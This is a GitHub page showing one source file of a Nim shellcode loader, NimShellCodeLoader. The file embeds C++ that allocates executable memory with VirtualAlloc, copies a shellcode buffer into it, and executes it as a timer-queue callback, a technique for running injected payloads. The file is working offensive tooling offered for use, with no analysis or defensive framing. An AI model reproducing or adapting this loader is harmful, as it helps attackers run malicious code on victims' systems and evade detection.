NimShellCodeLoader/CreateTimerQueueTimer_Tech.nim at 0.3 · aeverj/NimShellCodeLoader · GitHub

24 lines (19 loc) · 818 Bytes

import public

{.emit: """

#include <stdio.h>

int CreateTimerQueueTimerNim(char *shellcode,SIZE_T shellcodeSize) {

LPVOID addr = ::VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

::RtlMoveMemory(addr, shellcode, shellcodeSize);

HANDLE timer;

HANDLE queue = ::CreateTimerQueue();

HANDLE gDoneEvent = ::CreateEvent(NULL, TRUE, FALSE, NULL);

if (!::CreateTimerQueueTimer(&timer, queue, (WAITORTIMERCALLBACK)addr, NULL, 100, 0, 0)) {

printf("Fail");

}

if (::WaitForSingleObject(gDoneEvent, INFINITE) != WAIT_OBJECT_0)

printf("WaitForSingleObject failed (%d)\n", GetLastError());

}

"""

proc CreateTimerQueueTimerNim(plainBuffer:cstring,size:cint):cint {.importcpp:"CreateTimerQueueTimerNim(@)",nodecl.}

discard CreateTimerQueueTimerNim(code,codelen)

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